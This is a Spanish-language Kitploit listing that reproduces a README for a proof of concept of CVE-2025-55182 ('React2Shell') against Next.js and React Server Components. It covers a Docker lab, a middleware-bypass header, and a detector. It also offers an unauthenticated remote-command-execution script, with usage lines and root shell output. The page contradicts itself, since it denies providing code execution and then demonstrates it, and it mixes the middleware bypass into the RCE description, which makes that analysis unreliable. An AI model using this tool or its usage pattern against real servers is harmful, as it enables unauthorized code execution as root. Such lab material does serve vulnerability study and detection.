Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-55182 — PoC: CVE-2025-55182 (React) y CVE-2025-66478 (Next.js) | Kitploit
Herramientas/GitHubGitHub/nehkark/cve-2025-55182
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubnehkark/cve-2025-55182

CVE-2025-55182

PoC: CVE-2025-55182 (React) y CVE-2025-66478 (Next.js)

Ver Repositorio
721hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-55182 / CVE-2025-66478 — Análisis de bypass en middleware / RSC de Next.js

El autor no asume ninguna responsabilidad por el mal uso o daños causados por esta investigación
Proporcionado estrictamente con fines educativos y defensivos


Descripción

Este repositorio contiene un pequeño laboratorio y un análisis de Prueba de Concepto para CVE-2025-55182 y su duplicado CVE-2025-66478, relacionados con React Server Components (RSC) de Next.js y el comportamiento de bypass de autorización en middleware.

El objetivo de este PoC es reproducir las condiciones internas del flujo de solicitudes necesarias para la vulnerabilidad, analizar el comportamiento del middleware y entender cómo x-middleware-subrequest afecta a las rutas protegidas bajo configuraciones específicas.

Este repositorio no proporciona ejecución remota de código
Proporciona un entorno controlado para estudiar:

  • Autorización de middleware
  • Cabeceras RSC / Flight
  • Flujo de solicitudes de App Router
  • Comportamiento de bypass bajo cabeceras manipuladas

NVD actualmente clasifica CVE-2025-66478 como:

root@kitploit:~
Rejected reason: This CVE is a duplicate of CVE-2025-55182

El comportamiento sigue existiendo; solo cambió el identificador durante la consolidación.


Vector de ataque (Resumen del comportamiento)

  1. Una ruta de API protegida se asegura mediante middleware
  2. Una solicitud normal devuelve 403 Forbidden
  3. Al añadir:
root@kitploit:~
x-middleware-subrequest: 1
  1. La solicitud puede devolver incorrectamente 200 OK
  2. El comportamiento depende del diseño del middleware, App Router y las cabeceras RSC

Cabeceras normalmente presentes en los flujos afectados:

root@kitploit:~
X-Powered-By: Next.js
x-middleware-rewrite: /...
Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Url, Accept-Encoding

Estructura del laboratorio

root@kitploit:~
nextjs-vuln/
│
├── Dockerfile
├── package.json
├── middleware.js
│
└── app/
    ├── page/
    │   └── index.js
    │
    ├── protected/
    │   └── page.js
    │
    └── api/
        └── admin/
            └── secret/
                └── route.js

Ejecutar el laboratorio (Docker)

root@kitploit:~
docker build -t nextjs-vuln .
docker run -p 3000:3000 nextjs-vuln

Uso del script PoC

Este repositorio incluye un script auxiliar NextJs.py para analizar:

  • Respuestas normales vs de bypass
  • Cambios en middleware
  • Presencia de cabeceras RSC / Flight

Ejemplo:

root@kitploit:~
python3 NextJs.py -u http://localhost:3000
root@kitploit:~
krakhen@kapz:~$ python3 NextJs.py -u http://localhost:3000
Next.js React2Shell Passive Detector
------------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Timeout    : 10s
[+] TLS verify : enabled

=== Fingerprint ===
  - Next.js detected via headers.
  - React Server Components (RSC) detected.
  - Inferred Next.js generation: Next.js (generation unclear)

=== React2Shell Probe ===
  - Benign React Flight gadget executed and returned marker digest.
  - This strongly suggests React2Shell / CVE-2025-55182 style vulnerability.

=== Summary ===
Timestamp (UTC): 2025-12-05T22:04:25.089044+00:00
Target         : http://127.0.0.1:3000
HTTP status    : 500
Digest         : REACT2SHELL_PROBE
Verdict        : LIKELY_VULNERABLE to React2Shell-style exploit path

Response body (truncated):
0:{"a":"$@1","f":"","b":"development"} 1:E{"digest":"REACT2SHELL_PROBE","message":"NEXT_REDIRECT","stack":[],"env":"Server"}

Explotación remota de código | PoC poc-cve-2025-55182.py

Esta herramienta permite ejecutar código remoto de forma arbitraria sin autenticación.

Uso:

  • python3 poc-cve-2025-55182.py -u http://host:port -c "command"
root@kitploit:~
krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "uname -a"
React2Shell PoC - CVE-2025-55182
---------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Command    : uname -a

[+] Sending crafted Flight payload...
[+] HTTP status: 500

[✓] RCE confirmed. Command output:

    Linux 5596495ec378 6.11.0-29-generic #29-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:29:41 UTC 2025 x86_64 Linux

krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "whoami"
React2Shell PoC - CVE-2025-55182
---------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Command    : whoami

[+] Sending crafted Flight payload...
[+] HTTP status: 500

[✓] RCE confirmed. Command output:

    root

krakhen@kapz:~/$ python poc-cve-2025-55182.py -u http://127.0.0.1:3000 -c "id"
React2Shell PoC - CVE-2025-55182
---------------------------------

[+] Target URL : http://127.0.0.1:3000
[+] Command    : id

[+] Sending crafted Flight payload...
[+] HTTP status: 500

[✓] RCE confirmed. Command output:

    uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Registro Docker

root@kitploit:~

 POST / 500 in 10ms
 ⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
 ⨯ Internal error: Error: NEXT_REDIRECT
    at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:132)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "Linux 5596495ec378 6.11.0-29-generic #29-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 13 20:29:41 UTC 2025 x86_64 Linux"
  3156 |             return (
  3157 |               (obj = parseInt(value.slice(2), 16)),
> 3158 |               response._formData.get(response._prefix + obj)
       |                                  ^
  3159 |             );
  3160 |         }
  3161 |         switch (value[1]) {
 POST / 500 in 11ms
 ⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
 ⨯ Internal error: Error: NEXT_REDIRECT
    at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:130)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "root"
  3156 |             return (
  3157 |               (obj = parseInt(value.slice(2), 16)),
> 3158 |               response._formData.get(response._prefix + obj)
       |                                  ^
  3159 |             );
  3160 |         }
  3161 |         switch (value[1]) {
 POST / 500 in 11ms
 ⨯ next/dist/compiled/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js (3158:34) @ get
 ⨯ Internal error: Error: NEXT_REDIRECT
    at Object.eval [as then] (eval at <anonymous> (/app/node_modules/next/dist/compiled/next-server/app-page.runtime.dev.js:122:67039), <anonymous>:3:126)
    at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
digest: "uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)"
  3156 |             return (
  3157 |               (obj = parseInt(value.slice(2), 16)),
> 3158 |               response._formData.get(response._prefix + obj)
       |                                  ^
  3159 |             );
  3160 |         }
  3161 |         switch (value[1]) {

Autor y contacto

  • Investigador : krakhen.dev
  • GitHub : @nehkark
  • Email : [email protected]**
  • Sitio web : https://vciso.cloud
  • ICQ : 24298753

Descargar herramienta